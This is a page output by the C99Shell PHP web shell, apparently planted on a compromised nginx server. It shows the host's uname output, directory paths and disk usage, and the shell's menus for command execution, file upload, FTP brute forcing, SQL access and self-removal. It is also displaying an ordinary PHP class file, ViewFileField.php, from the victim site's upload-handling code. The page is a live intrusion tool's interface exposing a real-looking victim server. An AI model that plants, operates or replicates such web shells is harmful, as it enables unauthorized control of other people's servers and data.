!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.71 GB of 49.93 GB (61.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ViewFileField.php (2.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * ViewFileField
 * "Abstract" parent for all file fields (image, video, audio)
 */
class ViewFileField extends ViewControl
{
    
/**
     * Instanse of UploadHandler class
     * @var {object}
     */
    
var $upload_handler null;
    
    function 
__construct($field$container$pageobject)
    {
        
parent::__construct($field$container$pageobject);
        
$this->initUploadHandler();
    }

    public function 
getPdfValue(&$data$keylink "")
    {
        
$textVal $this->getTextValue($data);
        if ( !
strlen($textVal) ) 
            return 
"\"\"";

        
$filesList explode(", "$textVal);
        return 
my_json_encode( array(
            
"stack" => $filesList
        
) );
    }

    
/**
     * @param &Array data
     * @return String     
     */
    
public function getTextValue(&$data)
    {        
        if( !
strlen$data$this->field ] ) )
            return 
"";
            
        
$filedIsUrl $this->container->pSet->isVideoUrlField$this->field );
        if( 
$filedIsUrl )
            return 
$data$this->field ];        
        
        
$fileNames = array();
        
        
$filesData $this->getFilesArray$data$this->field ] );        
        foreach(
$filesData as $file)
        {    
            
$fileNames[] = $file["usrName"] ;
        }        
        
        return 
implode(", "$fileNames);
    }
    
    function 
initUploadHandler()
    {
        if(
is_null($this->upload_handler))
        {
            require_once 
getabspath("classes/uploadhandler.php");
            
$this->upload_handler = new UploadHandler(getOptionsForMultiUpload($this->container->pSet$this->field));
            if(!
is_null($this->pageObject))
                
$this->upload_handler->pSet $this->pageObject->pSetEdit;
            else
                
$this->upload_handler->pSet $this->container->pSet;
            
$this->upload_handler->field $this->field;
            
$this->upload_handler->table $this->container->pSet->_table;
            
$this->upload_handler->pageType $this->container->pageType;
            if(!
is_null($this->pageObject))
                
$this->upload_handler->pageName $this->pageObject->pageName;
            else
                
$this->upload_handler->pageName $this->upload_handler->pSet->pageName();
        }
    }
    
    function 
getFilesArray($value)
    {
        
$filesArray my_json_decode($value);
        if(!
is_array($filesArray) || count($filesArray) == 0)
        {
            if(
$value == "")
                
$filesArray = array();
            else 
            {
                
$uploadedFile $this->upload_handler->get_file_object($value);
                if(
is_null($uploadedFile))
                    
$filesArray =  array();
                else
                    
$filesArray = array(my_json_decode(my_json_encode($uploadedFile)));
            }
        }
        return 
$filesArray;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0023 ]--